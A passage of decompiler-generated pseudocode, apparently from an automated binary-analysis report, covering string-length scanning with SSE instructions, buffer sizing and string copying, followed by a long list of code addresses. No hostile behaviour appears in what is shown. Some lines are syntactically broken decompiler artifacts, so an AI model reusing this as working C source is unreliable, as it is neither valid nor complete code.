																				_t428 = _t428 + 1;
																				__eflags = _t428 - 0x7fffffff;
																				if(_t428 < 0x7fffffff) {
																					continue;
																				} else {
																					goto L112;
																				}
																				goto L113;
																			}
																		}
																	}
																	goto L113;
																}
																asm("bsf esi, ecx");
																_t428 = _t428 + _t225;
															} else {
																_t428 = 0;
																_t225 =  ~_t225 + 0x10;
																__eflags = _t225;
																while(1) {
																	__eflags =  *((char*)(_t428 + _t361));
																	if( *((char*)(_t428 + _t361)) == 0) {
																		goto L113;
																	}
																	_t428 = _t428 + 1;
																	__eflags = _t428 - _t225;
																	if(_t428 < _t225) {
																		continue;
																	} else {
																		goto L106;
																	}
																	goto L113;
																}
															}
															L113:
															__eflags = _t284;
															if(_t284 == 0) {
																_t226 = 0;
															} else {
																_t337 = _t284 & 0x0000000f;
																__eflags = _t337;
																if(_t337 == 0) {
																	L118:
																	asm("pxor xmm1, xmm1");
																	_v32 = _t400;
																	_t226 =  ~( ~_t337 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																	__eflags = _t226;
																	while(1) {
																		asm("movdqu xmm0, [ebx+ecx]");
																		asm("pcmpeqb xmm0, xmm1");
																		asm("pmovmskb edi, xmm0");
																		__eflags = _t400;
																		if(_t400 != 0) {
																			break;
																		}
																		_t337 = _t337 + 0x10;
																		__eflags = _t337 - _t226;
																		if(_t337 < _t226) {
																			continue;
																		} else {
																			_t400 = _v32;
																			__eflags = _t226 - 0x7fffffff;
																			if(_t226 >= 0x7fffffff) {
																				L124:
																				_t226 = 0x7fffffff;
																			} else {
																				while(1) {
																					__eflags =  *((char*)(_t226 + _t284));
																					if( *((char*)(_t226 + _t284)) == 0) {
																						goto L125;
																					}
																					_t226 = _t226 + 1;
																					__eflags = _t226 - 0x7fffffff;
																					if(_t226 < 0x7fffffff) {
																						continue;
																					} else {
																						goto L124;
																					}
																					goto L125;
																				}
																			}
																		}
																		goto L125;
																	}
																	_t259 = _t400;
																	asm("bsf eax, eax");
																	_t400 = _v32;
																	_t226 = _t259 + _t337;
																} else {
																	_t226 = 0;
																	_t337 =  ~_t337 + 0x10;
																	__eflags = _t337;
																	while(1) {
																		__eflags =  *((char*)(_t226 + _t284));
																		if( *((char*)(_t226 + _t284)) == 0) {
																			goto L125;
																		}
																		_t226 = _t226 + 1;
																		__eflags = _t226 - _t337;
																		if(_t226 < _t337) {
																			continue;
																		} else {
																			goto L118;
																		}
																		goto L125;
																	}
																}
															}
															L125:
															_t100 = _t226 + 1; // 0x80000000
															_t227 = _t428 + _t100;
															__eflags = _t227;
															if(_t227 != 0) {
																__eflags = _t227 - 0x40;
																_t228 =  <=  ? 0x40 : _t227;
																__eflags = _t228 - _v48;
																if(_t228 > _v48) {
																	goto L130;
																}
																goto L142;
															} else {
																__eflags = _t284;
																if(_t284 == 0) {
																	__eflags = _v48 - 0x40;
																	if(_v48 >= 0x40) {
																		goto L214;
																	} else {
																		goto L224;
																	}
																} else {
																	 *_t284 = 0;
																	_t242 = 0;
																	__eflags = _v48 - 0x40;
																	if(_v48 < 0x40) {
																		L224:
																		_t228 = 0x40;
																		L130:
																		_t331 = (_t228 >> 5 >> 0x1a) + _t228 >> 6;
																		_v48 = _t331;
																		_t245 = _t228 & 0x8000003f;
																		__eflags = _t245;
																		if(_t245 < 0) {
																			_t245 = (_t245 - 0x00000001 | 0xffffffc0) + 1;
																			__eflags = _t245;
																		}
																		__eflags = _t245;
																		_t333 = _t331 + (0 | _t245 > 0x00000000) << 6;
																		_v48 = _t333;
																		_push(_t333);
																		_v64 = _t361;
																		_t248 = E6EFF1030();
																		_t361 = _v64;
																		_v60 = _t248;
																		_t439 = _t439 + 4;
																		__eflags = _t284;
																		if(_t284 == 0) {
																			 *_t248 = 0;
																		} else {
																			__eflags = _v60;
																			if(_v60 != 0) {
																				_t335 = _t248;
																				_t250 =  *_t284;
																				 *_t335 = _t250;
																				__eflags = _t250;
																				if(_t250 != 0) {
																					_v64 = _t361;
																					_t251 = 0;
																					__eflags = 0;
																					_v32 = _t400;
																					while(1) {
																						_t251 = _t251 + 1;
																						_t383 =  *((char*)(_t284 + _t251 * 2 - 1));
																						 *(_t335 + _t251 * 2 - 1) = _t383;
																						__eflags = _t383;
																						if(_t383 == 0) {
																							break;
																						}
																						_t384 =  *((char*)(_t284 + _t251 * 2));
																						 *(_t335 + _t251 * 2) = _t384;
																						__eflags = _t384;
																						if(_t384 != 0) {
																							continue;
																						}
																						break;
																					}
																					_t361 = _v64;
																					_t400 = _v32;
																				}
																			}
																			_push(1);
																			_push(_t284);
																			_v64 = _t361;
																			E6EFF10B0();
																			_t361 = _v64;
																			_t439 = _t439 + 8;
																		}
																		_t284 = _v60;
																		L142:
																		_t326 = _t284;
																		__eflags = _t284;
																		if(_t284 == 0) {
																			goto L214;
																		} else {
																			_t242 =  *_t284;
																			goto L144;
																		}
																	} else {
																		_t326 = _t284;
																		L144:
																		__eflags = _t242;
																		if(_t242 != 0) {
																			_v32 = _t400;
																			_t244 = 0;
																			__eflags = 0;
																			while(1) {
																				_t244 = _t244 + 1;
																				_t403 = _t284 + _t244 * 2;
																				__eflags =  *(_t403 - 1);
																				_t326 = _t403 - 1;
																				if( *(_t403 - 1) == 0) {
																					break;
																				}
																				_t326 = _t403;
																				__eflags =  *_t403;
																				if( *_t403 != 0) {
																					continue;
																				}
																				break;
																			}
																			_t400 = _v32;
																		}
																		_t243 = _t326;
																		__eflags = _t428;
																		if(__eflags != 0) {
																			if(__eflags > 0) {
																				goto L152;
																			}
																		} else {
																			_t428 = 0x7fffffff;
																			L152:
																			_v40 = 0;
																			_v32 = _t400;
																			_v44 = _t284;
																			_t402 = _v40;
																			while(1) {
																				_t288 =  *((char*)(_t402 + _t361));
																				 *(_t402 + _t243) = _t288;
																				__eflags = _t288;
																				if(_t288 == 0) {
																					break;
																				}
																				_t141 = _t243 + 1; // 0x1
																				_t326 = _t402 + _t141;
																				_t402 = _t402 + 1;
																				__eflags = _t402 - _t428;
																				if(_t402 < _t428) {
																					continue;
																				}
																				break;
																			}
																			_t400 = _v32;
																			_t284 = _v44;
																		}
																		goto L156;
																	}
																}
															}
														}
													} else {
														goto L99;
													}
												}
												goto L200;
												L99:
												_t400 = _t400 + 1;
												__eflags = _t400 -  *_v36;
											} while (_t400 <  *_v36);
											goto L203;
											L214:
											_t400 = _t400 + 1;
											__eflags = _t400 -  *_v36;
										} while (_t400 <  *_v36);
										_t380 = _a4;
										 *_t380 = 0;
										 *((intOrPtr*)(_t380 + 4)) = 0;
										L191:
										_push(0x40);
										_t407 = E6EFF1030();
										_t439 = _t439 + 4;
										_t206 =  *_a4;
										__eflags = _t206;
										if(_t206 == 0) {
											 *_t407 = 0;
										} else {
											__eflags = _t407;
											if(_t407 != 0) {
												_t345 =  *_t206;
												 *_t407 = _t345;
												__eflags = _t345;
												if(_t345 != 0) {
													_t304 = 0;
													__eflags = 0;
													while(1) {
														_t304 = _t304 + 1;
														_t346 =  *((char*)(_t206 + _t304 * 2 - 1));
														 *(_t407 + _t304 * 2 - 1) = _t346;
														__eflags = _t346;
														if(_t346 == 0) {
															goto L197;
														}
														_t347 =  *((char*)(_t206 + _t304 * 2));
														 *(_t407 + _t304 * 2) = _t347;
														__eflags = _t347;
														if(_t347 != 0) {
															continue;
														}
														goto L197;
													}
												}
											}
											L197:
											_push(1);
											_push(_t206);
											E6EFF10B0();
											_t439 = _t439 + 8;
										}
										_t207 = _a4;
										 *_t207 = _t407;
										_t207[1] = 0x40;
										goto L200;
										L156:
										_t400 = _t400 + 1;
										 *_t326 = 0;
										__eflags = _t400 -  *_v36;
									} while (_t400 <  *_v36);
									L157:
									_t382 = _a4;
									_t203 = 0;
									__eflags = 0;
									 *_t382 = 0;
									 *((intOrPtr*)(_t382 + 4)) = 0;
									L158:
									__eflags =  *_t284;
									if( *_t284 == 0) {
										goto L191;
									} else {
										_t349 = _t284 & 0x0000000f;
										__eflags = _t349;
										if(_t349 == 0) {
											L163:
											asm("pxor xmm0, xmm0");
											_t414 =  ~( ~_t349 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											__eflags = _t414;
											while(1) {
												asm("movdqu xmm1, [ebx+edx]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb eax, xmm1");
												__eflags = _t203;
												if(_t203 != 0) {
													break;
												}
												_t349 = _t349 + 0x10;
												__eflags = _t349 - _t414;
												if(_t349 < _t414) {
													continue;
												} else {
													__eflags = _t414 - 0x7fffffff;
													if(_t414 >= 0x7fffffff) {
														L169:
														_t414 = 0x7fffffff;
													} else {
														while(1) {
															__eflags =  *((char*)(_t414 + _t284));
															if( *((char*)(_t414 + _t284)) == 0) {
																goto L170;
															}
															_t414 = _t414 + 1;
															__eflags = _t414 - 0x7fffffff;
															if(_t414 < 0x7fffffff) {
																continue;
															} else {
																goto L169;
															}
															goto L170;
														}
													}
												}
												goto L170;
											}
											asm("bsf esi, eax");
											_t414 = _t414 + _t349;
										} else {
											_t414 = 0;
											_t349 =  ~_t349 + 0x10;
											__eflags = _t349;
											while(1) {
												__eflags =  *((char*)(_t414 + _t284));
												if( *((char*)(_t414 + _t284)) == 0) {
													goto L170;
												}
												_t414 = _t414 + 1;
												__eflags = _t414 - _t349;
												if(_t414 < _t349) {
													continue;
												} else {
													goto L163;
												}
												goto L170;
											}
										}
										L170:
										_t149 = _t414 + 1; // 0x80000000
										_t350 = _t149;
										__eflags = _t350 - 0x40;
										_t351 =  <=  ? 0x40 : _t350;
										__eflags = _t351;
										if(_t351 > 0) {
											_t396 = (_t351 >> 5 >> 0x1a) + _t351 >> 6;
											_t352 = _t351 & 0x8000003f;
											__eflags = _t352;
											if(_t352 < 0) {
												_t352 = (_t352 - 0x00000001 | 0xffffffc0) + 1;
												__eflags = _t352;
											}
											__eflags = _t352;
											_t398 = _t396 + (0 | _t352 > 0x00000000) << 6;
											_push(_t398);
											_t353 = E6EFF1030();
											_t439 = _t439 + 4;
											_t305 =  *_a4;
											__eflags = _t305;
											if(_t305 == 0) {
												 *_t353 = 0;
											} else {
												__eflags = _t353;
												if(_t353 != 0) {
													_t219 =  *_t305;
													 *_t353 = _t219;
													__eflags = _t219;
													if(_t219 != 0) {
														__eflags = 0;
														_v68 = _t414;
														_v44 = _t284;
														_t286 = 0;
														while(1) {
															_t286 = _t286 + 1;
															_t221 =  *((char*)(_t305 + _t286 * 2 - 1));
															 *(_t353 + _t286 * 2 - 1) = _t221;
															__eflags = _t221;
															if(_t221 == 0) {
																break;
															}
															_t222 =  *((char*)(_t305 + _t286 * 2));
															 *(_t353 + _t286 * 2) = _t222;
															__eflags = _t222;
															if(_t222 != 0) {
																continue;
															}
															break;
														}
														_t414 = _v68;
														_t284 = _v44;
													}
												}
												_push(1);
												_push(_t305);
												_v68 = _t353;
												E6EFF10B0();
												_t353 = _v68;
												_t439 = _t439 + 8;
											}
											_t216 = _a4;
											_t216[1] = _t398;
											 *_t216 = _t353;
										} else {
											_t353 = 0;
										}
										_t306 = _t284;
										__eflags = _t353;
										if(_t353 != 0) {
											_t399 = 0;
											while(1) {
												_t217 =  *_t306;
												_t399 = _t399 + 1;
												 *_t353 = _t217;
												__eflags = _t414;
												if(_t414 == 0) {
													goto L189;
												}
												__eflags = _t399 - _t414;
												if(_t399 == _t414) {
													 *(_t353 + 1) = 0;
												} else {
													goto L189;
												}
												goto L200;
												L189:
												__eflags = _t217;
												if(_t217 != 0) {
													_t353 = _t353 + 1;
													_t306 = _t306 + 1;
													__eflags = _t306;
													continue;
												}
												goto L200;
											}
										}
									}
								}
							}
						}
					}
					L200:
					_push(1);
					_push(_t284);
					E6EFF10B0();
					return _a4;
				} else {
					_t386 = _a4;
					_push(0x40);
					 *_t386 = 0;
					 *((intOrPtr*)(_t386 + 4)) = 0;
					_t300 = E6EFF1030();
					_t441 = _t439 + 4;
					_t280 =  *_a4;
					if(_t280 == 0) {
						 *_t300 = 0;
					} else {
						if(_t300 != 0) {
							_t387 =  *_t280;
							 *_t300 = _t387;
							if(_t387 != 0) {
								_t388 = 0;
								while(1) {
									_t388 = _t388 + 1;
									_t340 =  *((char*)(_t280 + _t388 * 2 - 1));
									 *((char*)(_t300 + _t388 * 2 - 1)) = _t340;
									if(_t340 == 0) {
										goto L7;
									}
									_t341 =  *((char*)(_t280 + _t388 * 2));
									 *((char*)(_t300 + _t388 * 2)) = _t341;
									if(_t341 != 0) {
										continue;
									}
									goto L7;
								}
							}
						}
						L7:
						_push(1);
						_push(_t280);
						E6EFF10B0();
						_t441 = _t441 + 8;
					}
					_t281 = _a4;
					_t281[1] = 0x40;
					 *_t281 = _t300;
					return _t281;
				}
				L225:
			}

0x6f007669
0x6f00766c
0x6f00766e
0x6f007672
0x6f0076e8
0x6f0076ea
0x6f0076ec
0x6f00782b
0x6f00782b
0x6f007832
0x6f007834
0x6f007837
0x6f00783a
0x6f00783d
0x00000000
0x6f007843
0x6f007843
0x00000000
0x6f007843
0x6f0076f2
0x6f0076f2
0x6f0076f5
0x00000000
0x6f0076fb
0x6f0076fd
0x6f0076fd
0x6f007700
0x6f007722
0x6f007726
0x6f007732
0x6f007732
0x6f007738
0x6f00773c
0x6f00773e
0x6f00773e
0x6f007743
0x6f007747
0x6f00774b
0x6f00774d
0x00000000
0x00000000
0x6f007753
0x6f007756
0x6f007758
0x00000000
0x6f00775a
0x6f00775a
0x6f00775e
0x6f007766
0x6f00777c
0x6f00777c
0x6f007768
0x6f007768
0x6f00776a
0x6f00776a
0x6f00776e
0x00000000
0x00000000
0x6f007774
0x6f007775
0x6f00777a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f00777a
0x6f007f0c
0x6f007f0c
0x6f007766
0x00000000
0x6f007758
0x6f007f15
0x6f007f1a
0x6f007702
0x6f007702
0x6f00770c
0x6f007710
0x6f007710
0x6f007713
0x6f007713
0x6f007717
0x00000000
0x00000000
0x6f00771d
0x6f00771e
0x6f007720
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007720
0x6f007f23
0x6f007f23
0x6f007784
0x6f00778d
0x6f007790
0x6f007793
0x6f007796
0x6f007798
0x6f0077b6
0x6f0077b9
0x6f0077b9
0x6f0077be
0x6f0077c6
0x6f0077c6
0x6f0077c6
0x6f0077c7
0x6f0077d3
0x6f0077d6
0x6f0077d7
0x6f0077db
0x6f0077e0
0x6f0077e4
0x6f0077e6
0x6f0077ed
0x6f0077f5
0x6f0077f9
0x6f0077fd
0x6f007800
0x6f007803
0x6f007807
0x6f00780f
0x6f00780f
0x6f007812
0x6f007813
0x6f007815
0x6f007817
0x00000000
0x00000000
0x6f007819
0x6f00781b
0x6f007ee2
0x6f007ee6
0x6f007ee9
0x6f007eed
0x00000000
0x00000000
0x00000000
0x6f007ef1
0x6f007ef1
0x6f007ef4
0x00000000
0x6f007efa
0x00000000
0x6f007efa
0x00000000
0x6f007821
0x6f007821
0x6f007823
0x6f007eff
0x6f007f03
0x6f007f06
0x6f007829
0x6f00780d
0x6f00780e
0x6f00780e
0x00000000
0x6f00780e
0x00000000
0x6f007823
0x6f00779a
0x6f00779a
0x6f00779c
0x6f00779f
0x6f007ecb
0x6f007ecb
0x6f007ece
0x6f007ed0
0x6f007ed2
0x6f007ed5
0x6f007ed7
0x00000000
0x6f007edd
0x00000000
0x6f007edd
0x6f0077a5
0x6f0077a5
0x6f007848
0x6f007850
0x6f007855
0x6f00785b
0x6f00785b
0x6f00785e
0x6f007862
0x6f007866
0x6f00786a
0x6f00786e
0x6f00786e
0x6f007870
0x6f007870
0x6f007870
0x6f007870
0x6f007870
0x6f007874
0x6f00787a
0x6f00787d
0x6f007880
0x6f007886
0x6f007889
0x6f00788f
0x6f007893
0x6f007895
0x6f0078b5
0x6f0078b9
0x6f0078c8
0x6f0078c8
0x6f0078ce
0x6f0078ce
0x6f0078d3
0x6f0078d7
0x6f0078db
0x6f0078dd
0x00000000
0x00000000
0x6f0078e3
0x6f0078e6
0x6f0078e8
0x00000000
0x6f0078ea
0x6f0078ea
0x6f0078f0
0x6f007904
0x6f007904
0x6f0078f2
0x6f0078f2
0x6f0078f5
0x6f0078f5
0x6f0078f9
0x00000000
0x00000000
0x6f0078fb
0x6f0078fc
0x6f007902
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007902
0x6f0078f5
0x6f0078f0
0x00000000
0x6f0078e8
0x6f007f8f
0x6f007f92
0x6f007897
0x6f007897
0x6f00789b
0x6f00789b
0x6f00789d
0x6f0078a0
0x6f0078a2
0x6f0078a2
0x6f0078a6
0x00000000
0x00000000
0x6f0078ac
0x6f0078ad
0x6f0078af
0x00000000
0x6f0078b1
0x6f0078b1
0x00000000
0x6f0078b1
0x00000000
0x6f0078af
0x6f007f99
0x6f007f99
0x6f007909
0x6f007909
0x6f00790b
0x6f007f88
0x6f007911
0x6f007913
0x6f007913
0x6f007916
0x6f00792a
0x6f00792e
0x6f00793a
0x6f00793a
0x6f007940
0x6f007940
0x6f007945
0x6f007949
0x6f00794d
0x6f00794f
0x00000000
0x00000000
0x6f007955
0x6f007958
0x6f00795a
0x00000000
0x6f00795c
0x6f00795c
0x6f007962
0x6f007973
0x6f007973
0x00000000
0x6f007964
0x6f007964
0x6f007968
0x00000000
0x00000000
0x6f00796a
0x6f00796b
0x6f007971
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007971
0x6f007964
0x6f007962
0x00000000
0x6f00795a
0x6f007f7e
0x6f007f81
0x6f007918
0x6f00791a
0x6f00791c
0x6f00791c
0x6f00791f
0x6f00791f
0x6f007923
0x00000000
0x00000000
0x6f007925
0x6f007926
0x6f007928
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007928
0x6f00791f
0x6f007916
0x6f007978
0x6f007978
0x6f007978
0x6f00797c
0x6f00797e
0x6f0079a4
0x6f0079a7
0x6f0079aa
0x6f0079ae
0x00000000
0x00000000
0x00000000
0x6f007980
0x6f007980
0x6f007982
0x6f007f2c
0x6f007f31
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007988
0x6f007988
0x6f00798b
0x6f00798d
0x6f007992
0x6f007f37
0x6f007f37
0x6f0079b4
0x6f0079be
0x6f0079c1
0x6f0079c5
0x6f0079c5
0x6f0079cb
0x6f0079d3
0x6f0079d3
0x6f0079d3
0x6f0079d6
0x6f0079dd
0x6f0079e0
0x6f0079e4
0x6f0079e5
0x6f0079ea
0x6f0079ee
0x6f0079f1
0x6f0079f3
0x6f007a3a
0x6f0079f5
0x6f0079f5
0x6f0079f9
0x6f0079fb
0x6f0079fd
0x6f007a00
0x6f007a02
0x6f007a04
0x6f007a06
0x6f007a0a
0x6f007a0a
0x6f007a0c
0x6f007a0e
0x6f007a0e
0x6f007a0f
0x6f007a14
0x6f007a18
0x6f007a1a
0x00000000
0x00000000
0x6f007a1c
0x6f007a20
0x6f007a23
0x6f007a25
0x00000000
0x00000000
0x00000000
0x6f007a25
0x6f007a27
0x6f007a27
0x6f007a04
0x6f007a2b
0x6f007a2d
0x6f007a2e
0x6f007a33
0x6f007a33
0x6f007a3d
0x6f007a40
0x6f007a40
0x6f007a42
0x6f007a44
0x6f007a46
0x00000000
0x6f007a46
0x6f007998
0x6f007998
0x6f007a49
0x6f007a49
0x6f007a4b
0x6f007a4d
0x6f007a4d
0x6f007a4f
0x6f007a4f
0x6f007a50
0x6f007a53
0x6f007a57
0x6f007a57
0x6f007a5a
0x00000000
0x00000000
0x6f007a5c
0x6f007a5e
0x6f007a61
0x00000000
0x00000000
0x00000000
0x6f007a61
0x6f007a4f
0x6f007a63
0x6f007a63
0x6f007a65
0x6f007a67
0x6f007a70
0x00000000
0x00000000
0x6f007a69
0x6f007a69
0x6f007a72
0x6f007a72
0x6f007a76
0x6f007a76
0x6f007a78
0x6f007a7c
0x6f007a7f
0x6f007a7f
0x6f007a83
0x6f007a86
0x6f007a88
0x00000000
0x00000000
0x6f007a8a
0x6f007a8a
0x6f007a8e
0x6f007a8f
0x6f007a91
0x00000000
0x00000000
0x00000000
0x6f007a91
0x6f007a93
0x6f007a97
0x6f007a97
0x6f007a9b
0x6f007a9b
0x6f007992
0x6f007982
0x6f00797e
0x6f007889
0x6f007880
0x6f007a9e
0x6f007aa2
0x6f007aa8
0x6f007aaa
0x6f007aac
0x00000000
0x6f007aae
0x6f007aae
0x6f007ab1
0x6f007ac5
0x6f007ac7
0x00000000
0x6f007ac9
0x6f007acb
0x6f007acb
0x6f007ace
0x6f007ae2
0x6f007ae6
0x6f007af2
0x6f007af2
0x6f007af8
0x6f007af8
0x6f007afd
0x6f007b01
0x6f007b05
0x6f007b07
0x00000000
0x00000000
0x6f007b0d
0x6f007b10
0x6f007b12
0x00000000
0x6f007b14
0x6f007b14
0x6f007b1a
0x6f007b2b
0x6f007b2b
0x00000000
0x6f007b1c
0x6f007b1c
0x6f007b20
0x00000000
0x00000000
0x6f007b22
0x6f007b23
0x6f007b29
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007b29
0x6f007b1c
0x6f007b1a
0x00000000
0x6f007b12
0x6f007f74
0x6f007f77
0x6f007ad0
0x6f007ad2
0x6f007ad4
0x6f007ad4
0x6f007ad7
0x6f007ad7
0x6f007adb
0x00000000
0x00000000
0x6f007add
0x6f007ade
0x6f007ae0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007ae0
0x6f007ad7
0x6f007b30
0x6f007b30
0x6f007b32
0x6f007f6d
0x6f007b38
0x6f007b3a
0x6f007b3a
0x6f007b3d
0x6f007b51
0x6f007b55
0x6f007b61
0x6f007b65
0x6f007b65
0x6f007b6a
0x6f007b6a
0x6f007b6f
0x6f007b73
0x6f007b77
0x6f007b79
0x00000000
0x00000000
0x6f007b7f
0x6f007b82
0x6f007b84
0x00000000
0x6f007b86
0x6f007b86
0x6f007b8a
0x6f007b8f
0x6f007b9f
0x6f007b9f
0x00000000
0x6f007b91
0x6f007b91
0x6f007b95
0x00000000
0x00000000
0x6f007b97
0x6f007b98
0x6f007b9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007b9d
0x6f007b91
0x6f007b8f
0x00000000
0x6f007b84
0x6f007f5d
0x6f007f5f
0x6f007f62
0x6f007f66
0x6f007b3f
0x6f007b41
0x6f007b43
0x6f007b43
0x6f007b46
0x6f007b46
0x6f007b4a
0x00000000
0x00000000
0x6f007b4c
0x6f007b4d
0x6f007b4f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007b4f
0x6f007b46
0x6f007b3d
0x6f007ba4
0x6f007ba4
0x6f007ba4
0x6f007ba8
0x6f007baa
0x6f007bd0
0x6f007bd3
0x6f007bd6
0x6f007bda
0x00000000
0x00000000
0x00000000
0x6f007bac
0x6f007bac
0x6f007bae
0x6f007fa2
0x6f007fa7
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007bb4
0x6f007bb4
0x6f007bb7
0x6f007bb9
0x6f007bbe
0x6f007fa9
0x6f007fa9
0x6f007be0
0x6f007bea
0x6f007bed
0x6f007bf1
0x6f007bf1
0x6f007bf6
0x6f007bfe
0x6f007bfe
0x6f007bfe
0x6f007bff
0x6f007c0b
0x6f007c0e
0x6f007c12
0x6f007c13
0x6f007c17
0x6f007c1c
0x6f007c20
0x6f007c24
0x6f007c27
0x6f007c29
0x6f007c7f
0x6f007c2b
0x6f007c2b
0x6f007c30
0x6f007c32
0x6f007c34
0x6f007c37
0x6f007c39
0x6f007c3b
0x6f007c3d
0x6f007c41
0x6f007c41
0x6f007c43
0x6f007c47
0x6f007c47
0x6f007c48
0x6f007c4d
0x6f007c51
0x6f007c53
0x00000000
0x00000000
0x6f007c55
0x6f007c59
0x6f007c5c
0x6f007c5e
0x00000000
0x00000000
0x00000000
0x6f007c5e
0x6f007c60
0x6f007c64
0x6f007c64
0x6f007c3b
0x6f007c68
0x6f007c6a
0x6f007c6b
0x6f007c6f
0x6f007c74
0x6f007c78
0x6f007c78
0x6f007c82
0x6f007c86
0x6f007c86
0x6f007c88
0x6f007c8a
0x00000000
0x6f007c90
0x6f007c90
0x00000000
0x6f007c90
0x6f007bc4
0x6f007bc4
0x6f007c93
0x6f007c93
0x6f007c95
0x6f007c97
0x6f007c9b
0x6f007c9b
0x6f007c9d
0x6f007c9d
0x6f007c9e
0x6f007ca1
0x6f007ca5
0x6f007ca8
0x00000000
0x00000000
0x6f007caa
0x6f007cac
0x6f007caf
0x00000000
0x00000000
0x00000000
0x6f007caf
0x6f007cb1
0x6f007cb1
0x6f007cb5
0x6f007cb7
0x6f007cb9
0x6f007cc2
0x00000000
0x00000000
0x6f007cbb
0x6f007cbb
0x6f007cc4
0x6f007cc4
0x6f007ccc
0x6f007cd0
0x6f007cd4
0x6f007cd8
0x6f007cd8
0x6f007cdc
0x6f007cdf
0x6f007ce1
0x00000000
0x00000000
0x6f007ce3
0x6f007ce3
0x6f007ce7
0x6f007ce8
0x6f007cea
0x00000000
0x00000000
0x00000000
0x6f007cea
0x6f007cec
0x6f007cf0
0x6f007cf0
0x00000000
0x6f007cb9
0x6f007bbe
0x6f007bae
0x6f007baa
0x00000000
0x00000000
0x00000000
0x6f007ab1
0x00000000
0x6f007ab3
0x6f007ab7
0x6f007ab8
0x6f007ab8
0x00000000
0x6f007f41
0x6f007f45
0x6f007f46
0x6f007f46
0x6f007f4e
0x6f007f53
0x6f007f55
0x6f007e4b
0x6f007e4b
0x6f007e52
0x6f007e54
0x6f007e5a
0x6f007e5c
0x6f007e5e
0x6f007e95
0x6f007e60
0x6f007e60
0x6f007e62
0x6f007e64
0x6f007e67
0x6f007e69
0x6f007e6b
0x6f007e6d
0x6f007e6d
0x6f007e6f
0x6f007e6f
0x6f007e70
0x6f007e75
0x6f007e79
0x6f007e7b
0x00000000
0x00000000
0x6f007e7d
0x6f007e81
0x6f007e84
0x6f007e86
0x00000000
0x00000000
0x00000000
0x6f007e86
0x6f007e6f
0x6f007e6b
0x6f007e88
0x6f007e88
0x6f007e8a
0x6f007e8b
0x6f007e90
0x6f007e90
0x6f007e98
0x6f007e9b
0x6f007e9d
0x00000000
0x6f007cf4
0x6f007cf8
0x6f007cf9
0x6f007cfc
0x6f007cfc
0x6f007d04
0x6f007d04
0x6f007d07
0x6f007d07
0x6f007d09
0x6f007d0b
0x6f007d0e
0x6f007d0e
0x6f007d11
0x00000000
0x6f007d17
0x6f007d19
0x6f007d19
0x6f007d1c
0x6f007d30
0x6f007d34
0x6f007d40
0x6f007d40
0x6f007d46
0x6f007d46
0x6f007d4b
0x6f007d4f
0x6f007d53
0x6f007d55
0x00000000
0x00000000
0x6f007d5b
0x6f007d5e
0x6f007d60
0x00000000
0x6f007d62
0x6f007d62
0x6f007d68
0x6f007d79
0x6f007d79
0x00000000
0x6f007d6a
0x6f007d6a
0x6f007d6e
0x00000000
0x00000000
0x6f007d70
0x6f007d71
0x6f007d77
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007d77
0x6f007d6a
0x6f007d68
0x00000000
0x6f007d60
0x6f007ec1
0x6f007ec4
0x6f007d1e
0x6f007d20
0x6f007d22
0x6f007d22
0x6f007d25
0x6f007d25
0x6f007d29
0x00000000
0x00000000
0x6f007d2b
0x6f007d2c
0x6f007d2e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007d2e
0x6f007d25
0x6f007d7e
0x6f007d83
0x6f007d83
0x6f007d86
0x6f007d89
0x6f007d8c
0x6f007d8e
0x6f007da1
0x6f007da4
0x6f007da4
0x6f007daa
0x6f007db2
0x6f007db2
0x6f007db2
0x6f007db5
0x6f007dbc
0x6f007dbf
0x6f007dc5
0x6f007dc7
0x6f007dcd
0x6f007dcf
0x6f007dd1
0x6f007e20
0x6f007dd3
0x6f007dd3
0x6f007dd5
0x6f007dd7
0x6f007dda
0x6f007ddc
0x6f007dde
0x6f007de0
0x6f007de2
0x6f007de5
0x6f007de9
0x6f007deb
0x6f007deb
0x6f007dec
0x6f007df1
0x6f007df5
0x6f007df7
0x00000000
0x00000000
0x6f007df9
0x6f007dfd
0x6f007e00
0x6f007e02
0x00000000
0x00000000
0x00000000
0x6f007e02
0x6f007e04
0x6f007e07
0x6f007e07
0x6f007dde
0x6f007e0b
0x6f007e0d
0x6f007e0e
0x6f007e12
0x6f007e17
0x6f007e1b
0x6f007e1b
0x6f007e23
0x6f007e26
0x6f007e29
0x6f007d90
0x6f007d90
0x6f007d90
0x6f007e2b
0x6f007e2d
0x6f007e2f
0x6f007e31
0x6f007e37
0x6f007e37
0x6f007e3a
0x6f007e3b
0x6f007e3d
0x6f007e3f
0x00000000
0x00000000
0x6f007e41
0x6f007e43
0x6f007ebb
0x00000000
0x00000000
0x00000000
0x00000000
0x6f007e45
0x6f007e45
0x6f007e47
0x6f007e35
0x6f007e36
0x6f007e36
0x00000000
0x6f007e36
0x00000000
0x6f007e47
0x6f007e37
0x6f007e2f
0x6f007d11
0x6f00779f
0x6f007798
0x6f0076f5
0x6f007ea4
0x6f007ea4
0x6f007ea6
0x6f007ea7
0x6f007eb8
0x6f007674
0x6f007674
0x6f007679
0x6f00767b
0x6f00767d
0x6f007685
0x6f007687
0x6f00768d
0x6f007691
0x6f0076c8
0x6f007693
0x6f007695
0x6f007697
0x6f00769a
0x6f00769e
0x6f0076a0
0x6f0076a2
0x6f0076a2
0x6f0076a3
0x6f0076a8
0x6f0076ae
0x00000000
0x00000000
0x6f0076b0
0x6f0076b4
0x6f0076b9
0x00000000
0x00000000
0x00000000
0x6f0076b9
0x6f0076a2
0x6f00769e
0x6f0076bb
0x6f0076bb
0x6f0076bd
0x6f0076be
0x6f0076c3
0x6f0076c3
0x6f0076cb
0x6f0076ce
0x6f0076d5
0x6f0076e0
